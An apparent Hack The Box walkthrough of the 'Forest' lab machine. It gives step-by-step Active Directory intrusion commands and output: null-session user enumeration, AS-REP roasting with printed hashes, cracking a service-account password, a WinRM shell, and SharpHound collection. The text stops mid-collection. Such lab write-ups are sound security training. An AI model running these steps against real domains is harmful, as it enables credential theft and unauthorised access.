Forest

Forest HTB 2023 Walkthrough

Scanning

A number of ports appear in initial nmap scan. 

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sS -sC -sV -O -T4 10.10.10.161 -oA initialforest.nmap 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 11:04 EDT
Nmap scan report for 10.10.10.161
Host is up (0.22s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-28 15:11:03Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/28%OT=53%CT=1%CU=42947%PV=Y%DS=2%DC=I%G=Y%TM=64C3D91
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TS=A)SEQ(SP=101%GCD=1%I
OS:SR=10D%TI=RD%II=I%TS=A)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11
OS:%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W
OS:4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(
OS:R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=
OS:%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W
OS:=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUC
OS:K=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m48s, deviation: 4h02m30s, median: 6m47s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-07-28T15:11:32
|_  start_date: 2023-07-28T12:12:18
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-07-28T08:11:30-07:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.67 seconds

We should scan for all ports with -p- and also do udp scan

The nmap scan reveals the domain and hostname: htb.local and FOREST.htb.local. Similarly, the SMB OS nmap scan leaks the operating system: Windows Server 2016 Standard 14393.

Full Nmap scan

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sS -sC -sV -O -p- -T4 10.10.10.161 -oX forestfull.nmap                               
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 11:13 EDT
Nmap scan report for 10.10.10.161
Host is up (0.22s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE    SERVICE      VERSION
53/tcp    open     domain       Simple DNS Plus
88/tcp    open     kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-28 15:28:34Z)
135/tcp   open     msrpc        Microsoft Windows RPC
139/tcp   open     netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5985/tcp  open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open     mc-nmf       .NET Message Framing
47001/tcp open     http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open     msrpc        Microsoft Windows RPC
49665/tcp open     msrpc        Microsoft Windows RPC
49666/tcp open     msrpc        Microsoft Windows RPC
49667/tcp open     msrpc        Microsoft Windows RPC
49671/tcp open     msrpc        Microsoft Windows RPC
49676/tcp open     ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open     msrpc        Microsoft Windows RPC
49684/tcp open     msrpc        Microsoft Windows RPC
49703/tcp open     msrpc        Microsoft Windows RPC
49951/tcp open     msrpc        Microsoft Windows RPC
58957/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/28%OT=53%CT=1%CU=31462%PV=Y%DS=2%DC=I%G=Y%TM=64C3DD5
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=A
OS:)SEQ(SP=FF%GCD=1%ISR=109%TI=I%CI=I%TS=A)SEQ(SP=FC%GCD=1%ISR=109%TI=I%CI=
OS:RD%II=I%TS=A)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW
OS:8ST11%O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=
OS:2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T
OS:=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T
OS:3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
OS:IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-07-28T08:29:39-07:00
|_clock-skew: mean: 2h26m48s, deviation: 4h02m30s, median: 6m48s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-07-28T15:29:43
|_  start_date: 2023-07-28T12:12:18
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 573.60 seconds

Port 5985 is open which which windows WINRM service. It means we can get shell, if we have credentials.

DNS Enumeration

As port 53 is open, we can try zone transfer but it failed.

┌──(kali㉿kali)-[~/Desktop]
└─$ dig  @10.10.10.161 htb.local axfr

; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.161 htb.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
                                                                                                                                                                       
┌──(kali㉿kali)-[~/Desktop]
└─$ dig  @10.10.10.161 forest.htb.local axfr

; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.161 forest.htb.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

SMB Enumeration

We were unable to list any shares.

(kali㉿kali)-[~/Desktop/smbmap]
└─$ smbclient -L \\10.10.10.161                    
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Now, let's try enum4linux. We got a bunch of users.

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[l0v3] rid:[0x2581]

Let's filter the users to extract only users that are pertinent and useful to us.

Administrator
Guest
ukrbtgt
sebastien
lucinda
svc-alfresco
andy
mark
santi
l0v3

We also get group memberships which may be useful at some stage.

[+]  Getting domain group memberships:                                                                                                                                 
                                                                                                                                                                       
Group: 'Schema Admins' (RID: 518) has member: HTB\Administrator                                                                                                        
Group: 'Enterprise Admins' (RID: 519) has member: HTB\Administrator
Group: 'Privileged IT Accounts' (RID: 1149) has member: HTB\Service Accounts
Group: 'Domain Admins' (RID: 512) has member: HTB\Administrator
Group: '$D31000-NSEL5BRJ63V7' (RID: 1133) has member: HTB\EXCH01$
Group: 'Domain Computers' (RID: 515) has member: HTB\EXCH01$
Group: 'Organization Management' (RID: 1104) has member: HTB\Administrator
Group: 'Group Policy Creator Owners' (RID: 520) has member: HTB\Administrator
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\EXCH01$
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\Exchange Servers
Group: 'Domain Controllers' (RID: 516) has member: HTB\FOREST$
Group: 'Service Accounts' (RID: 1148) has member: HTB\svc-alfresco
Group: 'Exchange Windows Permissions' (RID: 1121) has member: HTB\Exchange Trusted Subsystem
Group: 'Exchange Windows Permissions' (RID: 1121) has member: HTB\l0v3
Group: 'Domain Guests' (RID: 514) has member: HTB\Guest
Group: 'Exchange Servers' (RID: 1118) has member: HTB\EXCH01$
Group: 'Exchange Servers' (RID: 1118) has member: HTB\$D31000-NSEL5BRJ63V7
Group: 'Domain Users' (RID: 513) has member: HTB\Administrator
Group: 'Domain Users' (RID: 513) has member: HTB\DefaultAccount
Group: 'Domain Users' (RID: 513) has member: HTB\krbtgt
Group: 'Domain Users' (RID: 513) has member: HTB\$331000-VK4ADACQNUCA
Group: 'Domain Users' (RID: 513) has member: HTB\SM_2c8eef0a09b545acb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_ca8c2ed5bdab4dc9b
Group: 'Domain Users' (RID: 513) has member: HTB\SM_75a538d3025e4db9a
Group: 'Domain Users' (RID: 513) has member: HTB\SM_681f53d4942840e18
Group: 'Domain Users' (RID: 513) has member: HTB\SM_1b41c9286325456bb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_9b69f1b9d2cc45549
Group: 'Domain Users' (RID: 513) has member: HTB\SM_7c96b981967141ebb
Group: 'Domain Users' (RID: 513) has member: HTB\SM_c75ee099d0a64c91b
Group: 'Domain Users' (RID: 513) has member: HTB\SM_1ffab36a2f5f479cb
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxc3d7722
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxfc9daad
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxc0a90c9
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox670628e
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox968e74d
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox6ded678
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox83d6781
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxfd87238
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailboxb01ac64
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox7108a4e
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox0659cc1
Group: 'Domain Users' (RID: 513) has member: HTB\sebastien
Group: 'Domain Users' (RID: 513) has member: HTB\lucinda
Group: 'Domain Users' (RID: 513) has member: HTB\svc-alfresco
Group: 'Domain Users' (RID: 513) has member: HTB\andy
Group: 'Domain Users' (RID: 513) has member: HTB\mark
Group: 'Domain Users' (RID: 513) has member: HTB\santi
Group: 'Domain Users' (RID: 513) has member: HTB\l0v3
Group: 'Exchange Trusted Subsystem' (RID: 1119) has member: HTB\EXCH01$

RPC Enumeration

Connect with null authentication

┌──(kali㉿kali)-[~/Desktop]
└─$ rpcclient -U "" -N 10.10.10.161
rpcclient $> ^C

Now enumerate users

└─$ rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[l0v3] rid:[0x2581]

So, we have our usernames.

I can list the groups as well:

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]          
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]            
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]                 
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

I can also look at a group for it’s members. For example, the Domain Admins group has one member, rid 0x1f4:

rpcclient $> querygroup 0x200          
        Group Name:     Domain Admins     
        Description:    Designated administrators of the domain
        Group Attribute:7              
        Num Members:1                  
rpcclient $> querygroupmem 0x200
        rid:[0x1f4] attr:[0x7]

That’s the Administrator account:

rpcclient $> queryuser 0x1f4            
        User Name   :   Administrator
        Full Name   :   Administrator
        Home Drive  :   
        Dir Drive   :      
        Profile Path:      
        Logon Script:
        Description :   Built-in account for administering the computer/domain
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Mon, 07 Oct 2019 06:57:07 EDT
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
        Kickoff Time             :      Wed, 31 Dec 1969 19:00:00 EST
        Password last set Time   :      Wed, 18 Sep 2019 13:09:08 EDT
        Password can change Time :      Thu, 19 Sep 2019 13:09:08 EDT
        Password must change Time:      Wed, 30 Oct 2019 13:09:08 EDT
        unknown_2[0..31]...
        user_rid :      0x1f4
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000031
        padding1[0..7]...
        logon_hrs[0..21]...

we can also use port 88 to enumerate users using tools like

Shell with kerberosting

If Kerberos pre-authentication is disabled on any of the above accounts, we can use the GetNPUsers impacket script to send a dummy request for authentication. The Key Distribution Center (KDC) will then return a TGT that is encrypted with the user’s password. From there, we can take the encrypted TGT, run it through a password cracker and brute force the user’s password. We can directly run it without providing username and we get the hash.

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-GetNPUsers -dc-ip 10.10.10.161 -request htb.local/                     
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Name          MemberOf                                                PasswordLastSet             LastLogon                   UAC      
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2023-07-28 12:45:03.309423  2023-07-28 12:44:55.272027  0x410200 



[email protected]:caf2f3add954f9ac9f9b3e7a3d391bc4$db3f3fbc72a599266f8fa30d31498245fe3d01211185557a282f2d40e544ff92fddd7fb472a89bf67eee3556c662e4df672e24d4a2a03c1ab3eee44ed74cba22473993f8284916b09a768cb68beee16973cf493fab978d6befaee38f69418f23dc477cb37f8d28655eb4c0dc6a61ce9e9a520f6a423571540c379c06c0abcb29ce7b7a6b884f155e7548a67023d362fdd3028695cc3f7ffc45af8f97eac9f4ed3a6c85579151db03a78ff4970d252e9029fd5d4bca6513dd8ab2934cc2ad7369a489997b7c7ad288fa00454f47bc803e5f465b429d3e301069d700d468a2ebe291ccf36025b4

If we have potential usernames, we can also use that wordlist to fetch hash value.

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-GetNPUsers -dc-ip 10.10.10.161 -request -no-pass -usersfile users.txt  htb.local/
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:301c9624aa2bd72f0676f909bb8ed6d7$f8930992b43a7465445dc7580a9698908b172b1b53cb2f101f3fcd67a40f3bb2f52ab4e73f97521f338c59d483dfe889ca8a2f98fd23956bd2a4ecf37bf401b64b27838a094cbb8ceb266d1acb6b469f7b6c6cff984daa9d12ea949db6a55041e9956b8d969cc1ea5c2e7518a6e5aaaecd24e4337a5cae197e5e156d0010689f7b3dac8873053c000a0a30de30223274338b8dee02d4673dee6c81670e8a2377fda9baa3caf32d54f3d51ca3ea14cceeeb99fda5da1829535888da9d8e61d79e030137a2e995202ea4ecc9e4f3c215054f2e303037b51f2e5e0a1b07e0a26a1682316a0b1ded
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User l0v3 doesn't have UF_DONT_REQUIRE_PREAUTH set

Cracking hash

We can use john to crack the hash.

─(kali㉿kali)-[~/Desktop]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt       
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ([email protected])     
1g 0:00:00:07 DONE (2023-07-28 12:41) 0.1269g/s 518497p/s 518497c/s 518497C/s s3xirexi..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

So, we got the credentials.

username - svc-alfresco

password - s3rvice

Checking smb shares

Now, we can get smbclient to connect to shares with newly found credentials.

┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient -L \\10.10.10.161 -U "svc-alfresco" --password "s3rvice" 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available


┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 10.10.10.161 -u "svc-alfresco" -p "s3rvice" 
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [+] htb.local\svc-alfresco:s3rvice

We, don't have any special shares available.

Let's check if we have access through winrm.

┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec winrm 10.10.10.161 -u "svc-alfresco" -p "s3rvice"  
SMB         10.10.10.161    5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP        10.10.10.161    5985   FOREST           [*] http://10.10.10.161:5985/wsman
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

And we can exploit it. So, lets get the shell.

┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i 10.10.10.161 -u "svc-alfresco" -p "s3rvice" 
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Now move to the desktop and get the user flag.

*Evil-WinRM* PS C:\Users\svc-alfresco> cd Desktop
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir


    Directory: C:\Users\svc-alfresco\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/28/2023   5:12 AM             34 user.txt


*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
05a9a1aa1xxxxxxxxxxxxxxxxxxxxx

Bloodhound

Now, to gather domain info, we can use bloodhound-python to remotely collect information.

┌──(kali㉿kali)-[~/Desktop]
└─$ bloodhound-python -u svc-alfresco -p 's3rvice' -ns 10.10.10.161 -d htb.local -c all
INFO: Found AD domain: htb.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
WARNING: Failed to get service ticket for FOREST.htb.local, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Done in 01M 58S
                                                                                                                                                                       
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
20230729043927_loot.zip

Now, import the loot file in bloodhound. Now search your user and mark it as owned.

Now select the analysis tab and select shortest path from owned users.

2nd method - sharphound

Locate sharp-hound location and copy it to desktop 

                                                                                                                                                                       
┌──(kali㉿kali)-[~/Desktop]
└─$ locate SharpHound
/home/kali/Desktop/SharpHound.ps1
/home/kali/Downloads/SharpHound.ps1
/usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
/usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
/usr/lib/bloodhound/resources/app/Collectors/DebugBuilds/SharpHound.exe
/usr/lib/bloodhound/resources/app/Collectors/DebugBuilds/SharpHound.pdb
/usr/lib/bloodhound/resources/app/Collectors/DebugBuilds/SharpHound.ps1
/usr/share/metasploit-framework/data/post/SharpHound.exe
/usr/share/metasploit-framework/data/post/powershell/SharpHound.ps1
                                                                                                                                                                       
┌──(kali㉿kali)-[~/Desktop]
└─$ cp /usr/lib/bloodhound/resources/app/Collectors/DebugBuilds/SharpHound.exe .

Transfer the file

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload SharpHound.exe
                                        
Info: Uploading /home/kali/Desktop/SharpHound.exe to C:\Users\svc-alfresco\Documents\SharpHound.exe
                                        
Data: 1415848 bytes of 1415848 bytes copied
                                        
Info: Upload successful!

Now execute it, we will get the zip file

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\SharpHound.exe -c all
2023-07-30T01:13:52.1347165-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2023-07-30T01:13:52.2910006-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-30T01:13:52.3222167-07:00|INFORMATION|Initializing SharpHound at 1:13 AM on 7/30/2023
2023-07-30T01:13:52.6190720-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
2023-07-30T01:13:52.7598374-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-30T01:13:53.2442157-07:00|INFORMATION|Beginning LDAP search for htb.local
2023-07-30T01:13:53.3848627-07:00|INFORMATION|Producer has finished, closing LDAP channel
2023-07-30T01:13:53.3848627-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-07-30T01:14:23.3726534-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 44 MB RAM
